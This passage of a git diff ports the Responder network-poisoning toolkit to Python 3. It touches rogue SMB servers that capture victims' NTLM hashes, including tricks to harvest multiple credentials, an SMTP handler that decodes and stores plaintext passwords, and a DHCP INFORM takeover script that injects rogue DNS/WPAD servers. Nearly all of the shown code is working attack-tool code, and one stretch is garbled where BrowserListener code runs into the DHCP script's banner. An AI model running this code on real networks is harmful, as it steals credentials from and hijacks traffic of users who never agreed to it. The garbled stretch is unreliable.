CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data)) - t = SMB2Session2Data() - packet1 = str(head)+str(t) - buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - - # Negotiate Protocol Response smbv1 - if data[8:10] == "\x72\x00" and data[4:5] == "\xff" and re.search("SMB 2.\?\?\?", data) == None: - Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) - Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) - Body.calculate() - - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet - - self.request.send(Buffer) + if data[8:10] == b"\x72\x00" and re.search(b"SMB 2.\?\?\?", data): + head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00") + t = SMB2NegoAns() + t.calculate() + packet1 = str(head)+str(t) + buffer1 = StructPython2or3('>i', str(packet1))+str(packet1) + self.request.send(NetworkSendBufferPython2or3(buffer1)) data = self.request.recv(1024) - if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # Session Setup AndX Request smbv1 + ## Session Setup 1 answer SMBv2. + if data[16:18] == b"\x00\x00" and data[4:5] == b"\xfe": + head = SMB2Header(MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1')) + t = SMB2NegoAns(Dialect="\x10\x02") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = StructPython2or3('>i', str(packet1))+str(packet1) + self.request.send(NetworkSendBufferPython2or3(buffer1)) + data = self.request.recv(1024) + ## Session Setup 2 answer SMBv2. + if data[16:18] == b"\x01\x00" and data[4:5] == b"\xfe": + head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), SessionID=GrabSessionID(data).decode('latin-1'),NTStatus="\x16\x00\x00\xc0") + t = SMB2Session1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge)) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = StructPython2or3('>i', str(packet1))+str(packet1) + self.request.send(NetworkSendBufferPython2or3(buffer1)) + data = self.request.recv(1024) + ## Session Setup 3 answer SMBv2. + if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' and data[4:5] == b'\xfe': + ParseSMBHash(data, self.client_address[0], Challenge) + head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1')) + t = SMB2Session2Data() + packet1 = str(head)+str(t) + buffer1 = StructPython2or3('>i', str(packet1))+str(packet1) + self.request.send(NetworkSendBufferPython2or3(buffer1)) + data = self.request.recv(1024) + + # Negotiate Protocol Response smbv1 + if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(b'SMB 2.\?\?\?', data) == None: + Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) + Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data))) + Body.calculate() + + packet1 = str(Header)+str(Body) + Buffer = StructPython2or3('>i', str(packet1))+str(packet1) + + self.request.send(NetworkSendBufferPython2or3(Buffer)) + data = self.request.recv(1024) + + if data[8:10] == b"\x73\x00" and data[4:5] == b"\xff": # Session Setup AndX Request smbv1 IsNT4ClearTxt(data, self.client_address[0]) # STATUS_MORE_PROCESSING_REQUIRED - Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) + Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",mid=midcalc(NetworkRecvBufferPython2or3(data))) if settings.Config.CaptureMultipleCredentials and self.ntry == 0: - Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH") + Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge), NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH") else: - Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) + Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge)) Body.calculate() - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + packet1 = str(Header)+str(Body) + Buffer = StructPython2or3('>i', str(packet1))+str(packet1) - self.request.send(Buffer) + self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) - if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # STATUS_SUCCESS + if data[8:10] == b"\x73\x00" and data[4:5] == b"\xff": # STATUS_SUCCESS if Is_Anonymous(data): - Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. + Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Body = SMBSessEmpty() - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + packet1 = str(Header)+str(Body) + Buffer = StructPython2or3('>i', str(packet1))+str(packet1) - self.request.send(Buffer) + self.request.send(NetworkSendBufferPython2or3(Buffer)) else: # Parse NTLMSSP_AUTH packet @@ -291,81 +293,39 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP if settings.Config.CaptureMultipleCredentials and self.ntry == 0: # Send ACCOUNT_DISABLED to get multiple hashes if there are any - Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. + Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Body = SMBSessEmpty() - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + packet1 = str(Header)+str(Body) + Buffer = StructPython2or3('>i', str(packet1))+str(packet1) - self.request.send(Buffer) + self.request.send(NetworkSendBufferPython2or3(Buffer)) self.ntry += 1 continue # Send STATUS_SUCCESS - Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) Body = SMBSession2Accept() Body.calculate() - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + packet1 = str(Header)+str(Body) + Buffer = StructPython2or3('>i', str(packet1))+str(packet1) - self.request.send(Buffer) + self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) - if data[8:10] == "\x75\x00" and data[4:5] == "\xff": # Tree Connect AndX Request + if data[8:10] == b"\x75\x00" and data[4:5] == b"\xff": # Tree Connect AndX Request ParseShare(data) - Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) + Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(NetworkRecvBufferPython2or3(data)), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(NetworkRecvBufferPython2or3(data))) Body = SMBTreeData() Body.calculate() - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + packet1 = str(Header)+str(Body) + Buffer = StructPython2or3('>i', str(packet1))+str(packet1) - self.request.send(Buffer) + self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) - - if data[8:10] == "\x71\x00" and data[4:5] == "\xff": #Tree Disconnect - Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - Body = "\x00\x00\x00" - - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet - - self.request.send(Buffer) - data = self.request.recv(1024) - - if data[8:10] == "\xa2\x00" and data[4:5] == "\xff": #NT_CREATE Access Denied. - Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - Body = "\x00\x00\x00" - - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet - - self.request.send(Buffer) - data = self.request.recv(1024) - - if data[8:10] == "\x25\x00" and data[4:5] == "\xff": # Trans2 Access Denied. - Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - Body = "\x00\x00\x00" - - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet - - self.request.send(Buffer) - data = self.request.recv(1024) - - - if data[8:10] == "\x74\x00" and data[4:5] == "\xff": # LogOff - Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - Body = "\x02\xff\x00\x27\x00\x00\x00" - - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet - - self.request.send(Buffer) - data = self.request.recv(1024) - except: pass @@ -375,33 +335,33 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version try: self.request.settimeout(0.5) data = self.request.recv(1024) - Challenge = RandomChallenge() - if data[0] == "\x81": #session request 139 + Challenge = RandomChallenge() + if data[0] == b"\x81": #session request 139 Buffer = "\x82\x00\x00\x00" - self.request.send(Buffer) + self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) - if data[8:10] == "\x72\x00": #Negotiate proto answer. - head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) - Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge) + if data[8:10] == b"\x72\x00": #Negotiate proto answer. + head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) + Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data)),Domain="",Key=NetworkRecvBufferPython2or3(Challenge)) Body.calculate() Packet = str(head)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet - self.request.send(Buffer) + Buffer = StructPython2or3('>i', str(Packet))+str(Packet) + self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) - if data[8:10] == "\x73\x00": #Session Setup AndX Request + if data[8:10] == b"\x73\x00": #Session Setup AndX Request if Is_LMNT_Anonymous(data): - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) Packet = str(head)+str(SMBSessEmpty()) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet - self.request.send(Buffer) + Buffer = StructPython2or3('>i', str(Packet))+str(Packet) + self.request.send(NetworkSendBufferPython2or3(Buffer)) else: ParseLMNTHash(data,self.client_address[0], Challenge) - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) Packet = str(head) + str(SMBSessEmpty()) - Buffer = struct.pack(">i", len(''.join(Packet))) + Packet - self.request.send(Buffer) + Buffer = StructPython2or3('>i', str(Packet))+str(Packet) + self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) except Exception: self.request.close() diff --git a/servers/SMTP.py b/servers/SMTP.py index cf8f903..3a8ca77 100644 --- a/servers/SMTP.py +++ b/servers/SMTP.py @@ -16,26 +16,29 @@ # along with this program. If not, see . from utils import * from base64 import b64decode -from SocketServer import BaseRequestHandler +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 class ESMTP(BaseRequestHandler): def handle(self): try: - self.request.send(str(SMTPGreeting())) + self.request.send(NetworkSendBufferPython2or3(SMTPGreeting())) data = self.request.recv(1024) - if data[0:4] == "EHLO" or data[0:4] == "ehlo": - self.request.send(str(SMTPAUTH())) + if data[0:4] == b'EHLO' or data[0:4] == b'ehlo': + self.request.send(NetworkSendBufferPython2or3(SMTPAUTH())) data = self.request.recv(1024) - if data[0:4] == "AUTH": - AuthPlain = re.findall(r'(?<=AUTH PLAIN )[^\r]*', data) + if data[0:4] == b'AUTH': + AuthPlain = re.findall(b'(?<=AUTH PLAIN )[^\r]*', data) if AuthPlain: - User = filter(None, b64decode(AuthPlain[0]).split('\x00')) - Username = User[0] - Password = User[1] + User = list(filter(None, b64decode(AuthPlain[0]).split(b'\x00'))) + Username = User[0].decode('latin-1') + Password = User[1].decode('latin-1') SaveToDb({ 'module': 'SMTP', @@ -46,19 +49,19 @@ class ESMTP(BaseRequestHandler): 'fullhash': Username+":"+Password, }) - else: - self.request.send(str(SMTPAUTH1())) + else: + self.request.send(NetworkSendBufferPython2or3(SMTPAUTH1())) data = self.request.recv(1024) if data: try: - User = filter(None, b64decode(data).split('\x00')) - Username = User[0] - Password = User[1] + User = list(filter(None, b64decode(data).split(b'\x00'))) + Username = User[0].decode('latin-1') + Password = User[1].decode('latin-1') except: - Username = b64decode(data) + Username = b64decode(data).decode('latin-1') - self.request.send(str(SMTPAUTH2())) + self.request.send(NetworkSendBufferPython2or3(SMTPAUTH2())) data = self.request.recv(1024) if data: @@ -75,5 +78,4 @@ class ESMTP(BaseRequestHandler): }) except Exception: - raise pass diff --git a/settings.py b/settings.py index 7083d22..0088958 100644 --- a/settings.py +++ b/settings.py @@ -14,13 +14,16 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import utils -import ConfigParser +import utils, sys +if (sys.version_info > (3, 0)): + import configparser as ConfigParser +else: + import ConfigParser import subprocess from utils import * -__version__ = 'Responder 2.3.4.0' +__version__ = 'Responder 3.0.0.0' class Settings: @@ -66,13 +69,17 @@ class Settings: def populate(self, options): if options.Interface is None and utils.IsOsX() is False: - print utils.color("Error: -I mandatory option is missing", 1) + print(utils.color("Error: -I mandatory option is missing", 1)) sys.exit(-1) if options.Interface == "ALL" and options.OURIP == None: - print utils.color("Error: -i is missing.\nWhen using -I ALL you need to provide your current ip address", 1) + print(utils.color("Error: -i is missing.\nWhen using -I ALL you need to provide your current ip address", 1)) sys.exit(-1) - + #Python version + if (sys.version_info > (3, 0)): + self.PY2OR3 = "PY3" + else: + self.PY2OR3 = "PY2" # Config parsing config = ConfigParser.ConfigParser() config.read(os.path.join(self.ResponderPATH, 'Responder.conf')) @@ -136,29 +143,29 @@ class Settings: self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject') if not os.path.exists(self.Html_Filename): - print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1) + print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)) if not os.path.exists(self.Exe_Filename): - print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1) + print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)) # SSL Options self.SSLKey = config.get('HTTPS Server', 'SSLKey') self.SSLCert = config.get('HTTPS Server', 'SSLCert') # Respond to hosts - self.RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) - self.RespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]) - self.DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) - self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]) + self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])) + self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')])) + self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])) + self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])) # Auto Ignore List self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess')) self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials')) - self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost')) + self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost')) self.AutoIgnoreList = [] # CLI options - self.ExternalIP = options.ExternalIP + self.ExternalIP = options.ExternalIP self.LM_On_Off = options.LM_On_Off self.WPAD_On_Off = options.WPAD_On_Off self.Wredirect = options.Wredirect @@ -174,41 +181,41 @@ class Settings: self.ProxyAuth_On_Off = options.ProxyAuth_On_Off self.CommandLine = str(sys.argv) - if self.ExternalIP: - self.ExternalIPAton = socket.inet_aton(self.ExternalIP) + if self.ExternalIP: + self.ExternalIPAton = socket.inet_aton(self.ExternalIP) if self.HtmlToInject is None: self.HtmlToInject = '' - self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) + self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) - if self.Interface == "ALL": + if self.Interface == "ALL": self.Bind_To_ALL = True - else: - self.Bind_To_ALL = False + else: + self.Bind_To_ALL = False - if self.Interface == "ALL": - self.IP_aton = socket.inet_aton(self.OURIP) - else: - self.IP_aton = socket.inet_aton(self.Bind_To) + if self.Interface == "ALL": + self.IP_aton = socket.inet_aton(self.OURIP) + else: + self.IP_aton = socket.inet_aton(self.Bind_To) self.Os_version = sys.platform # Set up Challenge self.NumChal = config.get('Responder Core', 'Challenge') - if self.NumChal.lower() == 'random': - self.NumChal = "random" + if self.NumChal.lower() == 'random': + self.NumChal = "random" if len(self.NumChal) is not 16 and not "random": - print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1) + print(utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)) sys.exit(-1) self.Challenge = "" - if self.NumChal.lower() == 'random': - pass - else: - for i in range(0, len(self.NumChal),2): - self.Challenge += self.NumChal[i:i+2].decode("hex") + if self.NumChal.lower() == 'random': + pass + else: + for i in range(0, len(self.NumChal),2): + self.Challenge += self.NumChal[i:i+2].decode("hex") # Set up logging logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') @@ -255,7 +262,7 @@ class Settings: utils.DumpConfig(self.ResponderConfigDump, Message) utils.DumpConfig(self.ResponderConfigDump,str(self)) except AttributeError as ex: - print "Missing Module:", ex + print("Missing Module:", ex) pass def init(): diff --git a/tools/BrowserListener.py b/tools/BrowserListener.py index a50d58f..f672621 100755 --- a/tools/BrowserListener.py +++ b/tools/BrowserListener.py @@ -1,5 +1,5 @@ #!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools +# This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify @@ -16,103 +16,103 @@ # along with this program. If not, see . import sys import os -import thread +import _thread BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) sys.path.insert(0, BASEDIR) from servers.Browser import WorkstationFingerPrint, RequestType, RAPThisDomain, RapFinger -from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler +from socketserver import UDPServer, ThreadingMixIn, BaseRequestHandler from threading import Lock from utils import * def ParseRoles(data): - if len(data) != 4: - return '' + if len(data) != 4: + return '' - AllRoles = { - 'Workstation': (ord(data[0]) >> 0) & 1, - 'Server': (ord(data[0]) >> 1) & 1, - 'SQL': (ord(data[0]) >> 2) & 1, - 'Domain Controller': (ord(data[0]) >> 3) & 1, - 'Backup Controller': (ord(data[0]) >> 4) & 1, - 'Time Source': (ord(data[0]) >> 5) & 1, - 'Apple': (ord(data[0]) >> 6) & 1, - 'Novell': (ord(data[0]) >> 7) & 1, - 'Member': (ord(data[1]) >> 0) & 1, - 'Print': (ord(data[1]) >> 1) & 1, - 'Dialin': (ord(data[1]) >> 2) & 1, - 'Xenix': (ord(data[1]) >> 3) & 1, - 'NT Workstation': (ord(data[1]) >> 4) & 1, - 'WfW': (ord(data[1]) >> 5) & 1, - 'Unused': (ord(data[1]) >> 6) & 1, - 'NT Server': (ord(data[1]) >> 7) & 1, - 'Potential Browser': (ord(data[2]) >> 0) & 1, - 'Backup Browser': (ord(data[2]) >> 1) & 1, - 'Master Browser': (ord(data[2]) >> 2) & 1, - 'Domain Master Browser': (ord(data[2]) >> 3) & 1, - 'OSF': (ord(data[2]) >> 4) & 1, - 'VMS': (ord(data[2]) >> 5) & 1, - 'Windows 95+': (ord(data[2]) >> 6) & 1, - 'DFS': (ord(data[2]) >> 7) & 1, - 'Local': (ord(data[3]) >> 6) & 1, - 'Domain Enum': (ord(data[3]) >> 7) & 1, - } + AllRoles = { + 'Workstation': (ord(data[0]) >> 0) & 1, + 'Server': (ord(data[0]) >> 1) & 1, + 'SQL': (ord(data[0]) >> 2) & 1, + 'Domain Controller': (ord(data[0]) >> 3) & 1, + 'Backup Controller': (ord(data[0]) >> 4) & 1, + 'Time Source': (ord(data[0]) >> 5) & 1, + 'Apple': (ord(data[0]) >> 6) & 1, + 'Novell': (ord(data[0]) >> 7) & 1, + 'Member': (ord(data[1]) >> 0) & 1, + 'Print': (ord(data[1]) >> 1) & 1, + 'Dialin': (ord(data[1]) >> 2) & 1, + 'Xenix': (ord(data[1]) >> 3) & 1, + 'NT Workstation': (ord(data[1]) >> 4) & 1, + 'WfW': (ord(data[1]) >> 5) & 1, + 'Unused': (ord(data[1]) >> 6) & 1, + 'NT Server': (ord(data[1]) >> 7) & 1, + 'Potential Browser': (ord(data[2]) >> 0) & 1, + 'Backup Browser': (ord(data[2]) >> 1) & 1, + 'Master Browser': (ord(data[2]) >> 2) & 1, + 'Domain Master Browser': (ord(data[2]) >> 3) & 1, + 'OSF': (ord(data[2]) >> 4) & 1, + 'VMS': (ord(data[2]) >> 5) & 1, + 'Windows 95+': (ord(data[2]) >> 6) & 1, + 'DFS': (ord(data[2]) >> 7) & 1, + 'Local': (ord(data[3]) >> 6) & 1, + 'Domain Enum': (ord(data[3]) >> 7) & 1, + } - return ', '.join(k for k,v in AllRoles.items() if v == 1) + return ', '.join(k for k,v in list(AllRoles.items()) if v == 1) class BrowserListener(BaseRequestHandler): - def handle(self): - data, socket = self.request + def handle(self): + data, socket = self.request - lock = Lock() - lock.acquire() + lock = Lock() + lock.acquire() - DataOffset = struct.unpack('= Vista and ##' -print '## any linux box, use -R (can be noisy) ##' -print '## ##' -print '## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##' -print '#############################################################################' -print '' -print color('[*]', 2, 1), 'Listening for events...' +print('#############################################################################') +print('## DHCP INFORM TAKEOVER 0.2 ##') +print('## ##') +print('## By default, this script will only inject a new DNS/WPAD ##') +print('## server to a Windows <= XP/2003 machine. ##') +print('## ##') +print('## To inject a DNS server/domain/route on a Windows >= Vista and ##') +print('## any linux box, use -R (can be noisy) ##') +print('## ##') +print('## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##') +print('#############################################################################') +print('') +print(color('[*]', 2, 1), 'Listening for events...') -config = ConfigParser.ConfigParser() +config = configparser.ConfigParser() config.read(os.path.join(BASEDIR,'Responder.conf')) -RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) -DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) +RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f] +DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f] Interface = options.Interface Responder_IP = FindLocalIP(Interface, None) ROUTERIP = options.RouterIP @@ -86,233 +86,232 @@ Spoof = options.Spoof Respond_To_Requests = options.Respond_To_Requests if Spoof: - DHCPSERVER = ROUTERIP + DHCPSERVER = ROUTERIP ##### IP Header ##### class IPHead(Packet): - fields = OrderedDict([ - ("Version", "\x45"), - ("DiffServices", "\x00"), - ("TotalLen", "\x00\x00"), - ("Ident", "\x00\x00"), - ("Flags", "\x00\x00"), - ("TTL", "\x40"), - ("Protocol", "\x11"), - ("Checksum", "\x00\x00"), - ("SrcIP", ""), - ("DstIP", ""), - ]) + fields = OrderedDict([ + ("Version", "\x45"), + ("DiffServices", "\x00"), + ("TotalLen", "\x00\x00"), + ("Ident", "\x00\x00"), + ("Flags", "\x00\x00"), + ("TTL", "\x40"), + ("Protocol", "\x11"), + ("Checksum", "\x00\x00"), + ("SrcIP", ""), + ("DstIP", ""), + ]) class UDP(Packet): - fields = OrderedDict([ - ("SrcPort", "\x00\x43"), - ("DstPort", "\x00\x44"), - ("Len", "\x00\x00"), - ("Checksum", "\x00\x00"), - ("Data", "\x00\x00"), - ]) + fields = OrderedDict([ + ("SrcPort", "\x00\x43"), + ("DstPort", "\x00\x44"), + ("Len", "\x00\x00"), + ("Checksum", "\x00\x00"), + ("Data", "\x00\x00"), + ]) - def calculate(self): - self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8) + def calculate(self): + self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8) class DHCPACK(Packet): - fields = OrderedDict([ - ("MessType", "\x02"), - ("HdwType", "\x01"), - ("HdwLen", "\x06"), - ("Hops", "\x00"), - ("Tid", "\x11\x22\x33\x44"), - ("ElapsedSec", "\x00\x00"), - ("BootpFlags", "\x00\x00"), - ("ActualClientIP", "\x00\x00\x00\x00"), - ("GiveClientIP", "\x00\x00\x00\x00"), - ("NextServerIP", "\x00\x00\x00\x00"), - ("RelayAgentIP", "\x00\x00\x00\x00"), - ("ClientMac", "\xff\xff\xff\xff\xff\xff"), - ("ClientMacPadding", "\x00" *10), - ("ServerHostname", "\x00" * 64), - ("BootFileName", "\x00" * 128), - ("MagicCookie", "\x63\x82\x53\x63"), - ("DHCPCode", "\x35"), #DHCP Message - ("DHCPCodeLen", "\x01"), - ("DHCPOpCode", "\x05"), #Msgtype(ACK) - ("Op54", "\x36"), - ("Op54Len", "\x04"), - ("Op54Str", ""), #DHCP Server - ("Op51", "\x33"), - ("Op51Len", "\x04"), - ("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day - ("Op1", "\x01"), - ("Op1Len", "\x04"), - ("Op1Str", ""), #Netmask - ("Op15", 